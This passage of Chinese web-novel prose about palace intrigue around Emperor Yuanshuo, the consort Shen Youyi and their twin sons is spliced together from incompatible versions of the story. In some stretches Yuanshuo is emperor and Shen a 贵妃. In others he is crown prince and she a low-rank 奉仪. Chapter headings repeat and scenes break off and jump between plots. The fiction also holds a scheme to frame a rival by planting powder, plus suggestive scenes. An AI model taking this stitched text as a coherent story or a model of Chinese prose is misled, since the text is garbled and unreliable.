“不行,殿下今日要是走了,妾身明日就去和皇后娘娘告状,说殿下不能人道了!”蛮横地说完,沈幼宜又换了一副楚楚可怜惹人怜惜的表情,“妾身期盼好久了,难道殿下不想吗?还是说殿下真的……真的伤到了那里,不能人道了?” 再度见到这位牵动帝王心绪的贵妃,宋院使也不免心生感慨,贵妃讳医忌疾,陛下不想令贵妃受惊,竟也装作不知,教他今日过来请平安脉。 他不敢多看,垂眼搭上皇帝的手,自然什么也瞧不出来,至多是肝郁不舒,辅以食补即可。 沈幼宜不知道御医是怎么看诊的,见宋院使神色凝重,心下突突地跳起来,可等皇帝收了手回来,不等宋院使开方子就道:“给贵妃也瞧一瞧,她这几日有些体弱,怕是染了风寒。” 宋院使称是,有皇帝在侧,御医看病的讲究不多,沈幼宜不疑有他,虽担忧被人瞧出自己身上的不妥,可她身上发生的事情大约更属于鬼神一类的范畴,迟疑了一会儿也伸出手来。 皇帝诊脉只用了不到一盏茶的工夫,可钟漏一点点滴答入斗,宋院使按在她脉上的手迟迟不撤,她这平安脉诊得实在有些过于细致了。 沈幼宜忍不住道:“是我的身子有哪里不妥当吗?” 宋院使额边缓缓渗出汗珠,他从容地收回手,缓缓禀道:“娘子近来是否有烦闷阴虚、四肢乏力、多梦少眠的症候?” 第 33 章 第 33 章 沈幼宜原本只是不大高兴,她什么病痛都没有,见了大夫一面就被安排了许多苦药,可听了这话,脸瞬时就垮了下来。 她又不是坐拥六宫的天子,皇帝禁欲和她禁欲有什么区别! 可才张口想说些什么,一抬头,便被天子冷峻的神色吓了一跳,把那些话都咽了回去。 难怪这位宋院使方才什么也不说,皇帝半年都难得行幸一回,才到行宫来了一段日子,就又要养身修心,远离她这种缠人的妖精,好像在质疑元朔帝的身体似的。 她想问又不敢问,元朔帝淡淡瞥过胆怯的美人,心里知道她又在胡思乱想些什么,面上却不显:“要养多久?” 宋院使不敢直视圣容,垂首道:“臣以为一月为佳。” 沈幼宜在东宫的地位非同一般,她是有子嗣的人,为景国储君生下两个儿子,要是没什么意外,她以后会是太子的母亲,身居后宫高位。魏庄如何能保证这样一个人衷心呢?若是沈幼宜心中偏向亲子,岂不是会顷刻间暴露魏庄苦心积虑多年的一切。 玉书走进内殿,拿着一块白玉制成的方形令牌过来,恭敬站在沈幼宜身后,将白玉令牌交到她手中。 “你瞧这白玉令牌可是真的?”沈幼宜拎着令牌的绳子,让慕鸳看个清清楚楚,微微笑道:“是真是假,你能分辨得出,玉书听命于我,自然是因为我的身份高过她,自然也高过你。 慕鸳你幼时背负血海深仇,誓要推翻萧氏皇族,为亲人报仇,是魏庄救下你,也给了你报仇的机会,你忠于大魏皇族,也当衷心于我。难道你没有想过,你在东宫后院生活了这么多年,魏庄却始终没有让你做什么,目的只是为了让你在后院监视太子嫔妃的吗?” 沈幼宜这个问题给慕鸳问住了,她潜伏在东宫多年,确实不理解魏庄将她安排在这里的目的是什么,这样做对他们光复大魏有什么帮助。 魏庄很多年没有联系她了,五年来,这是第一次有魏庄的人找上她。 “那你说,我在这里的用处是什么?” “帮我,就是你的用处。”慕鸳将萧予清送到怀德院门口就回去了,不敢擅自跟进去。 怀德院的偏殿里,萧予清回来之后就坐在萧予鸿对面开始吃糕点。 萧予鸿的书案不大,放了一些笔墨纸砚之后就没多少空余地方,结果萧予清放了一个食盒在书案上,津津有味吃起糕点来。 身为哥哥,他要爱护弟弟,这点小事还是忍忍吧。萧予鸿自己安慰自己,专心研墨,提笔练字,可是萧予清故意弄出吃东西的声音出来,还边吃边夸糕点美味,实在是有些呱噪。 他正要开口撵人,却听弟弟说起了刚刚去的海棠阁所见到的场景。 “我走了好一会才到呢,离得真是不近,我听下人说,那个院子叫海棠阁,位置实在偏僻,不过呢,本殿下可是没有白走一趟,我真的看见她了!” 萧予鸿写字的手停下,抬眼问:“你看见谁了?” “沈奉仪,他们都叫她沈娘娘,一定是的,沈娘娘好美,她和我们长得很像的!我觉得她很可能是我们娘亲!” 其实不像,他们兄弟两个都更像父亲元朔帝,但沈幼宜太美了,给萧予清的视觉冲击很大,所以在萧予清眼里,他的美貌一定是遗传了这样貌美的母亲,跟严肃冷酷的父王一点关系都没有! “这糕点是她亲手做的呢!特意给我做的!她还说以后让我常去呢!” “那、她还说什么了?”萧予鸿被弟弟的炫耀迷惑住了,一时没听出来有哪些话是随口编造的。 萧予清打开了话匣子,说了一大堆沈幼宜没有说过的话,成功哄骗住端正单纯的皇长孙,最后,他轻咳一声,扬着眉头说道:“叫你不去,现在后悔了吧,这样吧,下次我去的时候带上你,咱们一起去那里做客。” “唔……行吧。”萧予鸿思考片刻,认真地点头。 弟弟的提议很有吸引力,他确实有些心动了。 “要去哪?”元朔帝负手走进来,他垂眸看着两个儿子,走到萧予鸿的书案前,拿起书案上的宣纸检查。 他在门外听见小儿子说要去什么地方做客,但没听清楚去哪里,所以顺口一问。 萧予鸿和萧予清都沉默了,一个是不知道应不应该说实话,另一个则是因为没有完成今日的课业,心里虚得很,不敢吱声。 “怎么都不说话。”元朔帝将手中的宣纸放下,欣慰看了一眼萧予鸿,“字不错。” 说完,转头看着垂眸不语、心虚无比的萧予清,元朔帝打量他一会,视线移到食盒里的糕点上。 这糕点……形状有些难看,好像和他上次在竹林里吃的一样。 元朔帝沉默一会,脸上勾起一抹淡淡的笑意,伸手轻轻弹了一下萧予清的脑门,“方才跑出去玩了?课业没完成吧?” “呃、课业我、我……忘了,正要开始写呢。”萧予清紧张抠手指,眼珠子滴溜溜地转。 元朔帝蹲下来与萧予清平视,拿起一块糕点问:“清儿刚刚去海棠阁了?” 这么难看的糕点只有沈幼宜会端上饭桌,若是宫人做的,根本送不到萧予清嘴里。 萧予清震惊地瞪大眼,“父王你怎么知道的。” 是不是他身边那两个小太监告密了?还是那位找他回来的慕娘娘向父王说他坏话了? 他就知道父王后院的女人都不是真心喜欢他!伴读们家里的姨娘都是这样的!坏人! “这糕点也就只有她能做的出来了。”元朔帝收敛了嘴边的笑容,敛眉看着萧予鸿,“鸿儿,你跟你弟弟一起去了?” “没有,哥哥没去,我自己跑出去的,他不知道。”萧予清仗义承担责任,满腔兄弟义气,但在对上亲爹十分有威慑力的眼神时又泄了气,小声道:“真的是我自己非要出去的,父王要罚就罚我吧。” “少时慕父母,乃是人之常情,何错之有。” 话落,萧予鸿怔怔看着元朔帝,早慧稳重的他震惊不已。 “啊?”萧予清则是满眼迷茫,没听懂元朔帝话里的意思。 元朔帝拍拍小儿子的头,起身往外走,出门前扔下一句,“不过课业还是要补上的,晚膳之前送到书房里。” “是!” 没受到责罚和训斥的萧予清惊喜非凡,连忙收起点心,坐到萧予鸿身边开始写字。 “哥,你看到没!父王没罚我诶!”萧予清抬手在萧予鸿眼前挥了挥,疑惑道:“你怎么了?发什么呆啊!” 萧予鸿端正坐姿,给弟弟翻出写字要用的东西,然后做到了萧予清对面,打开食盒去拿糕点吃。 “你刚刚不是不吃嘛!怎么又要吃了!” “这不是给你一个人的。” 萧予清不满,“怎么不是给我一个人的,沈娘娘分明就是给我的!” “我们一胎双生,母亲不会厚此薄彼的。” “啊?你说什么?!” “帮你?你能做什么?” 沈幼宜笑得明媚,轻柔张口,“我能做得很多,并且有些事只有我能做到,只要有我在,光复大魏就不是空谈。” 玉书从袖子里掏出一包药粉,放在慕鸳手边,“明日生辰宴之前,请慕娘娘将这包东西放在闵侧妃的寝房中。” “闵樱房里?”慕鸳冷笑,“放了又能怎么样,陷害她?杀了她?她有闵家做靠山,元朔帝是不会为了弃闵家这个助力的。况且你没说身份,我凭什么帮你,又凭什么相信你说的话是真的。” “慕鸳,难道你忘了魏庄的规矩,不记得挑选白玉杀手在身边为奴为婢的,都是什么身份了吗。你也没有想过,为什么我生下元朔帝的孩子之后,魏庄还会信任我么!” 一语点醒梦中人。 答案呼之欲出,这当然是因为,沈幼宜就是前朝皇族的嫡系血脉,她是魏家人,是魏庄庄主的亲生女儿,所以魏庄才会信任她,帮她上位。 慕鸳不是个笨人,她想明白其中的关联,便歇了追问沈幼宜身份的心思。 “那这包东西就拜托慕姐姐帮忙了。”沈幼宜看慕鸳的神情就知道她是信了大半,态度很好地请慕鸳收好这包药粉,然后让玉书恭敬地送慕鸳出门。 没一会,泡好茶的玉静端着茶壶进来,这才发现殿中已经没有慕鸳的人影,她从上次去兰草苑之后就一直对慕鸳抱有偏见,觉得这个太子嫔有意为难自己娘娘,今日有看慕鸳亲自来海棠阁将二殿下带走,不想让二殿下与娘娘亲近,心中就更是气愤了。 “这位太子嫔还真是嚣张,娘娘与亲子说话,她有什么权力阻拦!” “嫉妒罢了,咱们不必在意。” 沈幼宜安慰两句玉静,然后招呼她去拿明日参加生辰宴要穿的衣裳,“就将太子嫔刚刚送来的那几件衣裳挂起来看看吧,我看着那几件颜色都很鲜亮好看,十分适合明日穿去宴席上。” “是。” 她矜持道:“生得这么美,也是很难得的事情。” 别说堂姊妹不像,就是她和她阿兄是同父同母的亲兄妹,眉眼生得也照样不像,让外人来认,估计都不大能猜出他们真正的身份。 但阿娘说这是因为她特别有福气,和爹娘生得有些相似,但又青出于蓝,她阿兄生得更像她没见过面的外祖父,也是十分俊朗的男子。 沈幼宜知道皇后与卫贵妃亲近,见她笑意温煦,没觉得自己哪里不妥当,正要上架再打一回秋千,却听见身后传来一声轻笑。 这声音来自于男子,她有点熟悉,但是又不十分熟悉……更不属于元朔帝。 风送花香,也携来一阵药气,皇后与冯充仪也站起身来,连忙行了一礼。 第 34 章 第 34 章 皇帝既然都到这里来,瑶光殿所预备的酒食就有些不够看了,也没有教皇帝用她们剩下的道理。 皇后揣测着元朔帝的意思,或许是想同她们一道说些话,重新命人排膳,笑着道:“子琰这段时日总在药房里琢磨,怕是要教陛下训斥了。” 元朔帝远远听见声音就知道是她在打秋千,静静听了一会儿,二皇子却当是舞阳和几个姊妹在玩乐,笑着提议要沈怀安为秋千上的美人做一张画。 沈怀安不疑有他,竟也顺顺当当应了下来。 说起这个儿子,元朔帝打心底生出些遗憾来,子琰聪慧敏达,不迷恋女色,只喜欢钻进药房里摆弄那些医书,可惜先天就有不足,他不指望这个儿子继承大统,自然对他更为宽容,有些事情随他去了。 不过方才他训斥的不是二皇子,而是太子。 衡山郡王被送回太子的住处去,又有口谕教他多在内宅与自己的妻妾儿女亲近,齐家修身,行宫宫殿狭小,太子不愿与太子妃成日两两对视,便到父皇面前来了“负荆请罪”这一出。 迎春殿中灯火通明,今日来参宴之人大多都是与东宫储君交好的年轻一代,大家年龄相仿,是以能聊到一块去,殿中欢声笑语,热闹的很。 元朔帝带着两个小皇孙入席时,众人都已落座,只等太子这个主角了。 太子嫔慕鸳和太子侧妃闵樱是东宫嫔妾中位数不多的高位,所以两人的位置都很靠前,并排坐在元朔帝左下首比较近的两个位置。 闵樱频频往主位上看,可以元朔帝一个眼神不往这边瞄,只顾着与两个小孩说话,给闵樱看得十分气闷。 不过就是两个不懂事的小鬼头罢了,要不然沈幼宜害她坏了身子,殿下肯定会临幸她的。每每想到这事,闵樱就有杀了沈幼宜的心,可惜现在她还做不到。 “怎么没看见阿娘呢?”虽然没有当面叫过娘,但萧予清已经在心里反复想象过今日的场景了,所以“阿娘”这个称呼就像是喊过无数遍一样熟稔。 坐在萧予清旁边的萧予鸿摇摇头,目光从慕鸳和闵樱身上扫过,然后望向她们身后众多东宫嫔妾,并未从一群莺莺燕燕中看见弟弟口中的仙女娘亲。 她们都很美,但在萧予清和萧予鸿心中,都算不上仙女这个称呼,甚至没有皇祖母半分风韵。 兄弟俩一同看向主位上的父王,萧予鸿就坐在元朔帝身边,于是悄悄用小手扯了一下亲爹的衣袖,对着亲爹眨眨眼睛,表示疑惑。 “怎么了?”元朔帝不解地看着两个儿子,然后顺着他们的目光看过去。 女席上有很多人,大多数嫔妾就连元朔帝自己都没有见过,一个个盛装打扮,见他看过去,此刻都在使尽解数露出温婉柔美的笑容。 这其中并没有沈幼宜。 沈幼宜人呢?不是说准备了飞天舞献礼么?难不成是在和舞姬们在一处。 元朔帝招福案到身边,耳语几句,福案点点头,迅速地退了出去。 约莫过了半个时辰,福案回来,小声在元朔帝耳边说:“回殿下,奴在半路上遇到了沈娘娘身边的婢女玉书,说是沈娘娘身上又起了红疹,没办法出门就告假了。玉书说,她已经向慕娘娘说过这件事了,慕娘娘为沈娘娘请了大夫,确认这红疹确实今日退不下去,便同意了。” “又是红疹?”元朔帝记得沈幼宜回东宫的当日就起了红疹,当时是因为中毒,但是玉宁查了许久也没有查到起源,后来这件事就一直搁置下来了…… 福案支支吾吾说:“奴才问了玉书姑娘,好像……好像听玉书姑娘的意思,这次的红疹与上次的很像,但因为这次不是李太医看诊,所以不能断定,而且玉书说沈娘娘这些日子心情不佳,今日身上出了红疹心情就更差了,所以就告假不出席了。” 毕竟以沈娘娘的样貌,就算脸上有一两个红疹也没什么的,压根不会影响姿容,她想要出席谁也拦不住。 元朔帝挥挥手让福案退下了,然后对上两双期待的眸子,微不可查地叹气,压低声音道:“她脸上起了红疹,不想你们看见她不美的样子,所以今日告假了,不会来了。” 果不其然,两小只脸上都露出了失望的神情,顿时垂下眉眼,失落极了。 过一会,萧予鸿对弟弟扯出一抹笑,小大人似的安慰,“娘亲定是很想见我们的,所以才会力求完美,今日不见没什么的,等过几日她好些了我们可以去看她。 听皇祖母说,人在生病的时候都会希望亲近之人去看望的,这样说不定病会好的快些呢,不过今日是父王生辰,我们得陪在父王身边,父王又忙得很,没空去看娘亲,所以我们也就不方便去看望了……” 他一边说,一边用余光瞄着亲爹的神情,表情和语气都十分孝顺懂事。 “对啊,我们可以去看望娘亲啊。”萧予清被哥哥的话提醒到,顿时双眸一亮,无比期待地看着元朔帝,“父王,你陪我们一起去看望阿娘吧,这样她一定会很开心的,病很快就会痊愈了。” 元朔帝:“……” 他以前怎么没发现鸿儿有这么多小心眼呢?兄弟俩都是同一个爹娘生的,怎么差别这么大,都说长子最像他,但现在看来,还是有很大差别的,元朔帝自认他小时候不会这样拐着弯说话,也没这么多心眼。 “但生辰宴还没结束,现在去应该不大合适。”眼看着萧予清嘴一瘪,眼睛立马湿润了,仿佛他下一秒说出不能去这话就要哭出来。 元朔帝顿了顿,无奈道:“也不是不行,就等宴会结束,我吩咐宴会进程快一些。” 换成寻常时候,他是断不会主动去海棠阁的,但这次不一样,幼子可怜,不过是想见见生母罢了,这也不是过分的要求,他身为父亲不至于连这点小要求都做不到,看在孩子的面子上,去一次也无妨。 宴上有许多世家公子和伴读给元朔帝敬酒,元朔帝大多都会给面子喝下,等到宴席过半,元朔帝推脱酒醉,带着两个小皇孙离了席,说了几句客套话就提前走了。 刚出迎春阁,慕鸳就追了上来,温声询问,“可是宴席办得让殿下不如意,若有不满的地方,殿下定要与妾身直言,妾身下次吸取教训,争取让殿下更满意些。” “与你无关,孤有别的事要去忙,你回宴上招待客人罢,免得宴上出状况。” “那、敢问殿下可是要带两位小殿下去看沈妹妹?”慕鸳试探着问。 元朔帝不动声色地看着慕鸳,觉得今日慕鸳今日似乎话有点多,好像是有话要说,“嗯,你还有事?” “没,妾身只是听说沈妹妹又病了,所以有些担忧。”元朔帝神情实在冷淡,慕鸳也不敢再多说话,找了个说辞便回宴席上了。 按照她和沈幼宜约定的,一会她是要亲自去一趟海棠苑,配合沈幼宜,两个人唱一出大戏的,可是现在……元朔帝提前去海棠阁了,也不知道会不会对沈幼宜的计策产生影响。 也罢,无论最后怎么样,都是沈幼宜收尾,她是已经尽力了。 其实在心里,慕鸳是有些看不上沈幼宜这点小手段的,这陷害人的手段过于简单明显,经不起多推敲,但沈幼宜在魏庄的级别比她大,同为细作,一损俱损,她也只能暂且帮着沈幼宜了。 海棠阁正殿中传出摔打东西的声响,好几名婢女抱着被摔坏的物件从殿内退出来,面上都愁容一片。 婢女们正要说上几句难伺候的话,谁正一抬头就看见太子和两位小皇孙站在门外,正目光炯炯地看着殿门方向。 海棠阁的众人惊惧,瞬间跑到台阶下面,纷纷跪下来行礼,不敢抬头去看太子殿下的脸色。 她心跳得极快,下意识向二皇子望去,见他敏锐捕捉到自己的视线,似笑非笑地看过来,心下也生出几分慌乱。 他的父皇还在上首,这人和她眉来眼去的做什么,她难道和他有什么私情? 人一心虚,总想做些什么遮掩自己的行藏,沈幼宜反应过来时,那一盏带着血气的酒水已经悉数入了喉咙。 这酒液的味道不算浓烈呛人,十分具有欺骗性,可烧得人五脏六腑都烫热起来,她下意识将酒水吐出来,几位侍奉在侧的婢女早拿了盆盂过来接,又安排人点一碗浓茶与贵妃压惊。 这样大的动静没有逃过帝后眼睛的道理,皇后听二皇子说了这药酒的妙用,又是自己的儿子亲手所酿,询问过元朔帝的意思,给每人都上了些尝尝,不想贵妃喝得太急,连忙教人服侍贵妃起身,到更衣处去缓一缓。 而这酒奉上来的时候,沈幼宜很自然地将这些话都忽略了去。 沈幼宜面色绯红,喉咙也是火辣辣的,那团字纸揉皱,紧紧攥在她手心,直到更衣处喝了几盏茶才说得出话,教人都退下去,小心将那字条展开焚烧,余灰都扫进香炉里去。 她本就有几分不耐,正要胡乱解开衣裳倒在榻上松快一番,一道似乎是年轻内侍的黑影却从屏风内闪出,自后揽住她的腰肢。 第 35 章 第 35 章 太子还没到醉极的程度,甚至比沈幼宜还要清醒得多,他当然知晓玉楼金殿里还有他的父皇、兄弟和一众臣工,可正是因为如此,那团火越烧越旺,几乎将人噬尽。 他的父皇要他和妻妾和睦共处,却不顾满宫久旷的怨妇、也不顾御体地宠爱贵妃,恨不得死在她身上。 就像他当初那样。 昭阳殿里数不尽的风流旖旎,顺着耳目传入东宫,他几乎夜不安枕,有无数次,他甚至想持剑冲入紫宸殿里……他生长于宫廷,没有亲手杀人的机会,可每次这个念头涌上心头,四肢百骸都为之颤栗,那种害怕与兴奋近乎于同她在一处的快乐。 可他幼承庭训,一言一行都受约束,父皇虽不喜爱母妃,也曾将他抱在膝头,手把手教导他治国御下的道理,略有些生疏地逗弄他,延请名师,亲自择定辅佐东宫的勋贵人家,他敬畏父皇……也有那么一点仰慕父亲,希望成为他那样的君主,开疆拓土,澄清宇内。 好在那时宜娘也说她不愿为父皇生儿育女,情愿服药……可现下他却要眼睁睁看着她承受一个成熟男子毫无节制的宠爱,甚至为他的父亲生儿育女。 他知道她吃不了一点苦,亲昵叫了她几声,手臂却牢牢缚住沈幼宜,柔声道:“别怕,阿臻受得住的,哪一回我不是伺候你舒舒服服的……” 尽管他们从一开始就是这种见不得光的关系,可说出这种话,太子还是咬了咬牙,底气不那么足:“你是试过的,我难道会比父皇差吗?” 接下来这几日,沈幼宜除了进宫去排练飞天舞,剩下的时间都安安静静待在海棠阁,周围几个院子里的侍妾们见沈幼宜这么安生,还以为是她改了性子,时隔四年,还真的将以前的性子改掉了。 但人的性子是天生的,除非遇到什么大事,这辈子基本上是不会有大改变的。沈幼宜这个人记仇,行事张扬,其实这也不是她完全伪装出来的性格,她这个人原本的性子就是这样的。 所以这日,在玉静发现领来的薪俸和衣裳有缺斤少两时,沈幼宜二话不说就要带着一群婢女去账房理论一二。 偏巧玉宁不在院中,等她回去问起娘娘在干什么时,沈幼宜已经带着一群婢女堵在兰草苑的大门外了。 东宫后院的公中开支由太子嫔慕鸳掌管,若是后院开支有什么不对的,自然要来太子嫔慕鸳的兰草苑算账。 东宫的高位嫔妾只有两位,一是侧妃闵樱,一是太子嫔慕鸳。 闵樱是皇帝做主纳进东宫的,并没有经过太子元朔帝的准许,所以闵樱在元朔帝面前没有体面和话语权,但慕鸳不一样,她是战场英烈遗孤,因为无人养育,所以进了尚宫局被高位尚宫收养,及笄后被元朔帝亲自赐封为太子嫔,管理东宫后院的大小事务。 慕鸳性情沉稳清冷,行事进退有度,待人温和有礼,所以元朔帝对慕鸳还算可以,与整个东宫后院的女人比起来,慕鸳已经是很得脸的了。 听见院子里的动静,慕鸳在几个婢女的陪同下从寝殿中款款而出,她生得清冷耐看,气质优雅沉静,是让人看了一眼就有好感的类型。 慕鸳走到堂中,端坐在主位上,扫了眼摆在案几上的几个托盘,面上不动声色地浅笑着,“沈妹妹拿着这些东西过来,可是对兰草苑发下去的薪俸有什么不满的地方?” 不用别人请,沈幼宜已经不客气地坐在了茶案旁的椅子上,她的身后的玉静也不见外,配合沈幼宜的嚣张气势,理所当然地让兰草苑下人上茶,主仆行事都很嚣张,一眼能看出来是一个院子里出去的人。 “兰草苑送来的这些东西应该是不大对吧,我怎么记得海棠阁的薪俸不止这点呢,我院子里伺候的下人那么多,开支进出也大,这薪俸是万万不能减少的,不然岂不是连下人们的赏赐都要供不起了。 慕姐姐掌管内院大权,对各院的薪俸调整是有些权力的,但海棠阁与别的院子不一样,我院子里的东西,只能多,不能少。” 慕鸳面色平静地饮茶,缓声说:“沈妹妹误会了,兰草苑送到海棠阁的薪俸没有一点差头,这些就是东宫奉仪的薪俸,半点不少,沈妹妹以前领的东西多,是因为那时你身怀有孕,皇后娘娘吩咐要特别照料,多出的东西都由太子殿下私库补上了。 但现在你身子康健,这平白无故的,沈妹妹也没有特别情况,怎么能再多领薪俸呢,实在不合规矩啊。” 这番话说得有理有据,但凡换个识趣的就不能再纠缠计较了,但沈幼宜偏偏是个不讲理的。 “那既然如此,慕姐姐私自裁减海棠阁薪俸这件事,可有向殿下请示过?” “合理合章的小事就不需要向太子殿下请示了,这点主我还是能做的。” “好,慕姐姐都这么说了,那我便不为难慕姐姐了,一会亲自去问问殿下就好了。” 闻言,慕鸳微微蹙眉,似乎有些不悦,“这么点小事怎么好叨扰殿下,殿下日理万机,恐怕没时间……” 沈幼宜这样的女人,哪里配得上站在太子身边,她在东宫有今日的地位和底气,不过是运气好罢了。 顺理成章找到一个去怀德院的理由,沈幼宜直接起身往外走,压根不理会慕鸳说什么想什么。 沈幼宜让身边的婢女全部都回宫,她只带着玉静一个人去了怀德院。 此刻天光昏暗,夜幕即将降临,料想元朔帝应该用过了晚膳,正在书房看文书。 “诶呦,沈娘娘你这是要去哪啊,奴才正要去找您呢!”福案急得额头要冒汗了,见着沈幼宜连忙跑过来行礼,捏着嗓子说:“殿下吩咐奴才过来您,这不正巧了,走吧沈娘娘,咱们一起去怀德院,别让殿下就等了。” 见福案这么匆忙来寻她,想必定是玉宁给元朔帝通风报信了吧,元朔帝怕她又在后院惹出什么乱子,所以才急吼吼地派了福案过来。 沈幼宜听完立马笑出了声,欢欢喜喜地跟着福案往怀德院去了。 两人一前一后,一个眉开眼笑像是去见心上人,一个忙不迭地擦汗,狠松一口气。 福案见这位沈娘娘丝毫没有做错了事的心虚之感,反而是欢喜得不得了,满眼都是清澈的愚蠢,他暗暗叹了口气,为两位小皇孙有这样一位不靠谱的亲娘而扼腕。 可惜了,若是换个端庄大方些的女子,说不准能靠着诞育皇孙的功劳坐上太子妃的位置。 但沈幼宜这是肯定不可能的,不说太子和皇后那样的人物,就连他们这些下人看了沈娘娘的种种行径都要摇头叹气,不明白当初太子殿下为什么会相中沈娘娘做贴身侍女,又在殿下醉酒的时候成功得手。 大概是,沈娘娘胆子肥,又运气好吧。 她最出彩的地方就在容貌上,论样貌,整个东宫确实无人能出其左右,这张皎若芙蕖的面庞和玲珑婀娜的身段确实太能吸引男人的目光,可偏偏太子殿下不是那样的人,沈娘娘唯一的优点也生错了地方 殿下看人最在意的,是品德和才情啊! 怀德院中,福案将人带到寝殿门外,没有通报,直接让守门的侍卫打开了殿门,对沈幼宜做了个请的手势。 “沈娘娘请,殿下吩咐了您来直接进去,不必通报了。” “好!” 沈幼宜端起娇俏美丽的笑脸,迈着婀娜的步伐缓缓往里面走。 “殿下?殿下?” 她在殿中走了两圈,最后接近床榻,试探着掀起帘缦,然后蹙起柳眉,疑惑道:“咦?人呢?” 书架边,半个身子隐在黑暗里的元朔帝定在原地看着沈幼宜在内殿像个无头苍蝇一般左顾右盼,她将目光放在床榻周围,从进门起就没往左边的书架这边看,径直往床榻那边走,直接掠过了正在书架边找书的高大身影。 沈幼宜进来之前他将书架这边的烛光吹灭了,导致这边昏暗看不清楚,可以她但凡往书架这边瞧一眼,也不至于发现不了他。 “还真是无可救药了。”元朔帝眸光冷冷看着她在床榻和衣架边摸索,低声呢喃着,没有大声惊动沈幼宜。 元朔帝想看看沈幼宜究竟能笨到什么地步,要多久才能发现他在殿中,结果他高估了沈幼宜的眼神和脑子,她对书架这边没有任何兴趣,连看一眼都不肯。 他看着沈幼宜在床边打转,新奇地摸着雕着山海云纹的床架。 过了一会,她似乎是确认殿中没有人,以为他在后殿的浴池里,所以有些大胆地打量起床榻,纤细白嫩的手指摸过枕头和被子,又去摸挂在衣架上玄色外裳,然后低头闻了闻,一把抱住空荡荡的外衣,脸上挂着十分满足的傻笑。 “啊~这衣裳真好闻,是殿下身上的味道。” 沈幼宜眼含星星点点的泪珠,专注看着元朔帝,这幅惹人怜爱的模样好似是在翘首期盼着他的回答。 马车中陷入沉默,元朔帝扶她做好,不让沈幼宜继续靠在他身上,直到下马车,他也没说出沈幼宜最期待的话语。 但也不是毫无收获。 临下马车前,他扔下一句,“只要你安分守己,不做出什么伤天害理的事情,东宫将来便不会有别的孩子降生,不会有人威胁到鸿儿和清儿的地位。” 其实,对元朔帝来说,这也算变相的妥协了,至少沈幼宜眼里,能从元朔帝嘴里听到这样一句话,她今日这些眼泪流得很值得。 两人一同进了东宫,元朔帝径直回了怀德院,沈幼宜跟在他身后亦步亦趋。 那望眼欲穿的眼神紧紧贴在他后背,就算不回头也能感受到她过于欣喜的目光。 元朔帝本以为沈幼宜会找各种理由粘着他,跟他一起去怀德院,没想到她半路转了个弯,往后院的方向去了。 她手脚并用地爬上榻,对着铜镜匆匆看了几眼,确定瞧不出什么才合上眼睛。 殿门“吱呀”一声,送来远处的欢声笑语,轻歌曼舞还在继续,大约是皇后又召了歌舞侍宴。 一点温暖昏暗的光隔着屏风隐隐透了过来,大约顾虑着她在内有可能做出些什么不雅的姿态,那门只开了片刻,又轻轻被人掩上。 沈幼宜胡乱扯开一半的衣裳,像是将心跳的速度也暴露出来,她下意识吞咽口水,却还要装作被人惊醒,嘤咛了一声,缓缓睁开双目。 元朔帝对宴饮的兴趣一向不多,更何况贵妃生着病又饮多了药酒,她迟迟不归,难免教人忧心。 在后妃臣子的面前,他不愿显出不好教人瞧见的关怀。然而只是又坐了片刻,御前的人来禀事,元朔帝索性起身离席。 事情并不算要紧,他先来瞧一瞧她。 果不其然,一旦离开了他的视线,她就要开始做出点让人头疼的事情来。 琉璃宫灯被轻轻搁在案上,映亮了她懵懂惊慌的神情。 榻上的美人还有些不大清醒,但还有最基本的直觉,她像是个做错了事情的孩子,怕被人嫌弃,怯生生望了他一眼,张开手道:“陛下……抱抱阿臻、抱一抱。” 第 36 章 第 36 章 元朔帝俯身探了探她因不胜酒力而发热的面颊,取来巾帕拭汗,面色微愠:“亏你还认得人,怎么不再多喝几盏?” 那酒里浸过许多药材,子琰又割了鹿血入酒,常喝的人知道分寸,还能禁得住烈性,不喝酒的人明白自己承受的范围,尝一点点就算了。 她身子虚不受补,这两日说不定要口舌生疮,彻夜难眠,偏偏又沾酒就醉,身体昏昏沉沉,精神却是亢奋的,魂魄不知道出去游逛了多久。 沈幼宜小心翼翼捉住他的手指,她一直觉得男子的手掌温暖干燥,现在却觉得很是凉快,她牵引着他的手掌来到面颊,结结实实地要他贴上去,发出一声满足的喟叹。 还有点得陇望蜀似的,眼巴巴地看着他,想要另一只手也贴上来,小声道:“好难受。” 元朔帝气极反笑,侧头不去看她泪眼汪汪的模样,淡淡道:“活该,没有人会管你。” 那眼泪就流得有些急了,奈何郎心似铁,他不为所动,语气稍严厉了些:“多哭一会儿。” 萧予鸿和萧予清正要往里面走的脚步停在台阶下,双生兄弟俩面面相觑,都没敢上前。 玉宁连忙跑到元朔帝身后,跪下来请罪,“都是玉宁的错,没有查清给娘娘下药之人是谁,监察不严,连累娘娘又中了药,娘娘脸上身上起了许多红疹,无法参加殿下的生辰宴,这才心情不虞,太过伤心,还望殿下见谅。” 元朔帝扫了眼婢女们从屋里抱出来的那些东西,立马认出来这些物件都是怀德院送过来的。 福案选完东西之后特意让他过目,所以元朔帝便对这些东西有点印象。 所以沈幼宜心情不虞,就把他送过来的物件都摔了? 元朔帝脸色渐渐沉下来,手指摩挲着腰间的玉佩,不置一词。 东西再珍贵,也是死物,东宫有的是,元朔帝不心疼这些,但沈幼宜将他送来的东西全部损坏……这是什么个意思。 “父王,我们还是改天再来吧,听太医说红疹都是会传染的,我们现在进去应该不方便,病气波及到父王就不好了,等沈娘娘病好了我们再来看望。”萧予鸿是个会看人脸色的小孩,他一见父王脸色不好,脑子里的第一个想法就是让父王离娘亲住的院子远点,不要在这里发脾气。 “我不怕我不怕,那我一个人进去看阿娘就好了。”萧予清哪里能从哥哥的话里听出什么,他只在意他现在能不能进去,就算阿娘在发脾气他也不怕。 他不怕挨骂的,能让他进去看看就好了,而且阿娘看见他来了一定会很开心的,心情立马就会好起来了。萧予清总是有种莫名的自信。 “开门。”元朔帝不愿听玉宁解释,抬步走到门外,对两个儿子说:“你们在外面等着,一会再进。” 他对沈幼宜的性情还算了解,她哭闹发起脾气来差不多就是完全失了理智,摔东西剪衣裳什么的元朔帝也听说过,若是之前碰上,元朔帝不会容忍沈幼宜这样闹,但今日有孩子在,他不想让两个儿子看见母亲不得体的样子。 海棠阁的众人始终提着一口气,门边的婢女战战兢兢开门,在太子进去后又将门关上。 玉宁心里担忧沈幼宜会被太子训斥,但现在说什么也晚了,都怪她没有注意娘娘的吃穿用度,这才又让娘娘着了别人的道,闹成现在这样,以后定要打起精神,再不可让这样的事情在她眼皮子底下发生。 